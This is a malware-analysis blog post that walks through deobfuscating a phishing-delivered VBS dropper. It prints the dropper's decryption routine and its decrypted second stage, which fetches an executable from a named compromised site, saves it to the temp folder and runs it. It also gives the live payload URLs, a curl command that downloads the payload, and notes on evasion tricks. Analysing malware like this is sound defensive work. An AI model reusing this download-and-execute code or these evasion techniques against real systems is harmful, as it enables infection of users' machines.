Analysis of a VBS Malware Dropper

Khris Tolbert
Maveris Labs
9 min readFeb 24, 2020

--

Recently, I was willingly forwarded a phishing email (for science!) which contained a ZIP attachment, requesting the recipient to update their contact information:

Screenshot of initial phishing email

The hyperlink pointed to https://weitblicker.com/wp-content/uploads/2019/10/goes/JVC_83860.zip . Inside this ZIP, was a heavily obfuscated VBS file (found [here] if you’d like to follow along).

JVC_30579.vbs

The VBS seemed to employ numerous techniques to make analysis very difficult. First, the file used many commented random strings which due to the string length (an example can be seen above) seemed to crash or bog down numerous tools. Secondly, various decoy functions masked the true execution chain from being quickly visible. Lastly, the actual data for execution is obfuscated and encrypted.

My process of manually investigating this VBS script started with dealing with the large comment blocks. Deftly, I wrote some simple python (see picture below) to remove any line beginning with a single quotation mark ('), so the viewing of the VBS would be much easier (found [here]):

Python script to aid in cleaning up VBS

Now that the remaining VBS could load into a text editor without threatening to cause massive blackouts along the east coast (really just freezing my sandbox), I began to study the execution chain of the VBS. The first thing that caught my eye was the initial error bypass at the top of the script, On Error Resume Next. This would allow the code to continue if an error occurs, such as “a variable not declared” caught during execution of the script. Below this declaration was yet another clue in what the actual execution chain actually was. Anywhere these variables were assigned a value or called would indicate an actual operation performed in the execution of the malware. The next line was the first in many various fluff operations whose only goal was to clutter the script in an attempt to obfuscate the execution routine of the malware from analysis. (I also ponder whether the extra fluff may aid in evasion of automated scanning utilities due to its size).

Top 3 lines in JVC_30579.vbs after removing long comments

After visually inspecting the entire script, I then decided to start at the very bottom and work my way back up. Understanding that RQa, eBAb, Fcb, UeS, qFf were the only variables declared via dim at the top (and anywhere) in the script, I figured I could ignore the operations below the line eXEcUTegLObAL qFf.

Last four lines in JVC_30579.vbs

Ok, so, executeGlobal? It would appear that this call in VBScript allows one to execute statements passed to the call in the current namespace [1]. In the context of this script, passing whatever is contained in qFf will be executed. Above this, ignoring the fluff, there is a WScript.Sleep call, which sleeps execution the number of milliseconds passed to the call. Searching for the variable nREy, I found the following assignment:

nREy = 367–266–20 + 302–14 + 25–18 + 24–21 + 384–360–352–440 + 6 + 251 + 30132 

Solving this, it is apparent that the script sleeps for 30,000 ms (30 seconds) before executing the executeGlobal call as a means to potentially bypass AV sandboxes. After this discovery, I also determined it may be best to highlight only the assignments of variables that were actually declared in order to shut out the noise.

Adding exclamation marks to mark known variables’ assignments

Jumping back down to the bottom, I continued my trek back up the script. Three consecutive calls to a function NpNt were made, assigning a value to the qFf variable.

Variable qFf being assigned the output of function NpNt

Skipping up to the function itself, the following is seen:

Function NpNt .. well, most of it

By removing the extra operations and simplifying the math in the if / else trees, the function becomes:

Simplified version of NpNt (renamed to decrypt)

To help understand the execution flow, I renamed CTS to crypted, V1VI to key, and the function NpNt to decrypt, and EAlt to XOR_func. I know I jumped the gun a bit, but I’ll explain EAlt in a minute. The function seems to step character by character, seeing if the character is “1” (48) through “9” (57), XOR’ing that with a given key, then appending the char value to a placeholder string, which is then returned. In summary, every numeric value in the encrypted string is XOR’d with the given key. As promised, here is the original version of EAlt:

Function EAlt, which performs an XOR between two values

Even without simplifying the function it is apparent the function is merely returning the XOR of two values. Still, here is the simplified version:

Simplified version of function EAlt (renamed to XOR_Func)

Armed now with the understanding of the decryption routine, I returned to the place I left near the bottom. Again, I saw 3 rounds of decryption, but this time with another string. Here, I also saw additional variables being assigned values for use in the execution, so as above I continued marking them as important. This continued up the script until I was met with the string JHm, for which I conveniently renamed to salt_string. After going over the lines earmarked with “ '!!!” a few times to ensure I hadn’t skipped any, I copied over a much simplified version of the VBS [full code here]:

On Error Resume Next
dim crypt_string_1, crypt_string, UeS, embedded
crypt_string_1 = “6RE0POgBnj23]11@(123yX121+X7 D4<j?V14oqpH¹⁷DPjj=%86 lw.G9CY4|h17<12{mj97/*(tl91x$2qtC9MK.W-17

D123h,6ue4#bm96e13Ie:/90R127v*PY}64w6kv;b6jsy66;o96k~Q17xHR3:tjbl 8Il g*123F$n~(108=:”
crypt_string = “7hu] Zp8.b^W70I96}{r^*92NH@g$W23Y [O]26pRn)119g 9 H6XIle119k?r127)4w])-P105!9Or&O5PMh27 P16%<6brP9agUW-

~:7.s6kV |s 117$iN110GM/tE72zw&90hz-tz119#OHXeb6BL T*2 <Bk117y#esV⁷⁹ICk)27I8 Nft3*%-56n111bi)o101ts U99)m”
function decrypt(crypted, key)
On Error Resume Next
UUf = crypted
sJs = “” ‘!!!
wWLu = “”
FETw = 1
for i=1 to len(UUf)
if ( asc(mid(UUf, i, 1)) > 47 and asc(mid(UUf, i, 1)) < 58 ) then
sJs = sJs + mid(UUf, i, 1) ‘!!!
FETw = 1
else
if FETw = 1 then
NEL = CInt(sJs) ‘!!!
VIxJ = XOR_Func(NEL, key) ‘!!!
wWLu = wWLu + Chr(VIxJ) ‘!!!
end if

sJs = “”
FETw = 0
end if
vkB = bEBk or CFc
next
decrypt = wWLu
end function
function XOR_Func(qit, ANF)
On Error Resume Next
sCLx = qit xor ANF
XOR_Func = sCLx
end function
sleeper = 30000salt_string = “C6hgj1I6rLntt9yp40AlGkkiDYvoPq0Ca3HoxUgnVzzpA9QuuUlwxwqdHrvij5JsD9CrXaQHE1eciRkGuseHy7yFOUumRC1KqXyub6gzUbd5c4esDU7Ti5Bdr7
…AYJh217uJjkbv8Xmcn4cF3rJoYJoLnag7BnHawAypYvFbujSUVNbaRBLJdlHxU45bLrWHvrvkfEProXdyeBdm5Y66COZcruLjvYKn0wYKVxCc”
qrB = 13
Rha = 8
For i = 0 To 2387406 Step 1
gxa = gxa + qrB — Rha ‘ 13–8 plus previous gxa value ‘!!!
Next
xmh = 999999
gxa = gxa * xmh ‘!!!
tcA = CStr(gxa) ‘!!!
rWd = Mid(tcA, 7, 2)
ncA = CInt(rWd) ‘!!!
rgcQ = Asc(Mid(salt_string, ncA, 1)) ‘!!!
rWd = Mid(tcA, 8, 2) ‘!!!
ncA = CInt(rWd) ‘!!!
kdJO = Asc(Mid(salt_string, ncA, 1)) ‘!!!
rWd = Mid(tcA, 9,2) ‘!!!
ncA = CInt(rWd) ‘!!!
NIjg = Asc(Mid(salt_string, ncA, 1)) ‘!!!
UeS = decrypt(crypt_string_1, NIjg) ‘!!!
UeS = decrypt(UeS, kdJO) ‘!!!
UeS = decrypt(UeS, rgcQ) ‘!!!
WScript.Echo UeS ‘ added so I can view UeS
embedded = decrypt(crypt_string, NIjg) ‘!!!
embedded = decrypt(embedded, kdJO) ‘!!!
embedded = decrypt(embedded, rgcQ) ‘!!!
WScript.Sleep sleeper '!!! Sleep 30 seconds
Wscript.Echo embedded 'added so I can see embedded
‘eXEcUTegLObAL embedded 'execute embedded VBScript — commented out so it will not run

I felt pretty confident that I understood what the execution chain of the script was doing, so I now opened the script in Visual Studio for debugging by issuing the command:

cscript /X <script.vbs>

Upon setting a breakpoint on the final call of the script, the values of UeS and embedded (was qFf) can be seen:

Value of UeS decrypted displayed
Value of qFf (renamed embedded) decrypted displayed
on error resume next
arr=split(UeS,”___”)
set a=WScript.CreateObject(arr(0))
set b=WScript.CreateObject(arr(1))
f=a.ExpandEnvironmentStrings(arr(2))&arr(3)
set c=a.CreateShortcut(f)
c.TargetPath=arr(4)
c.Save
if b.FileExists(f)=false Then
e=a.ExpandEnvironmentStrings(arr(2))&arr(5)
Call u
sub u
set d=createobject(arr(6))
set w=createobject(arr(7))
d.Open arr(8),arr(9),False
d.setRequestHeader arr(10),arr(11)
d.Send
with w
.type=1
.open
.write d.responseBody
.savetofile e,2
end with
end sub
WScript.Sleep 60000
a.Exec(e)
end if

As seen above, it was apparent that the values of UeS (broken out below) are fed into the embedded code block. Then with some string manipulation, a file (“VideoBoost.exe”) is saved to the user’s temp folder, execution is slept for 60 seconds, and then the binary is executed.

Values of variable “UeS” split apart

Replacing executeGlobal with the value of embedded, and executing the script in the same fashion (with the breakpoint set at the last WScript.Echo as above), the final round of string obfuscation can be defeated, and the location of the executable that is dropped by this VBS dropper can be seen by stepping through the execution block:

Breakpoint before malware is saved, with the URL variable displayed

It can be seen above, in theUeS breakout, the URL the VBS dropper is fetching is “venicefcmiami.com/wp-content/uploads/2019/10/zxm/asdgysgdysffs.png?bg=spx29”. Also, the VBS is sending a User-Agent of “Windows” and saving the response as an .exe. Performing a curl to that URL, I was indeed provided an executable as a response:

$ curl — user-agent “Windows” http://venicefcmiami.com/wp-content/uploads/2019/10/zxm/asdgysgdysffs.png?bg=spx29 — output 1.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 724k 100 724k 0 0 298k 0 00:00:02 0:01:12 — : — : — 298k
$ file 1.exe
1.exe: PE32 executable (GUI) Intel 80386, for MS Windows

Submitting this executable to VirusTotal, I was provided the following (If you’d like to deep dive into this file, the SHA-256 is b970241209f848d51ac37a68ae92c90b2c704b343c66e4f9a849390be5d4c2f3 ):

VirusTotal findings for the downloaded executable
VirusTotal findings, detailed, of the downloaded executable

Interesting enough, submitting the VBS dropper from the ZIP file in VirusTotal provided these details (SHA-256 is 0b3cc47c138842bb41b32c9ac1118e8aca0d7b7e8550cbf34ff272023854094a ):

VirusTotal findings for the VBS dropper

As suggested earlier, the evasion techniques of sleep, long comments, bogus operations, and string encryption seem to bypass detection on numerous AV platforms (Windows Defender did not seem to care about the VBS dropper either in my personal sandbox either).

Some final points: yes, a simple WScript.Echo could have been placed right after the final assignment of UeS or qFf variables and provide much of the same information (but would it have been as much fun?); yes, I would highly suggest not running this or any piece of malware no matter how defanged you believe it is on a production (or non-sandbox) system; and finally, yes, VBS malware still exists in 2020!

Pondering life’s deepest questions

If I get around to it, I’d like to break down the executable that is fetched, but for now, I leave that as an exercise for the reader. Happy hunting!

REFERENCES

1 — https://www.vbsedit.com/html/25ebfa26-d3b9-4f82-b3c9-a8568a389dbc.asp

Website: www.maveris.com

Email: info@maveris.com

Maveris exists to help your organization reach its fullest potential by providing thought leadership in IT and cyber so you can connect fearlessly. To learn more visit us at: www.maveris.com

--

--

Khris Tolbert
Maveris Labs

Sometimes things break and I happen to be behind the keyboard. I’m just as confused as you are.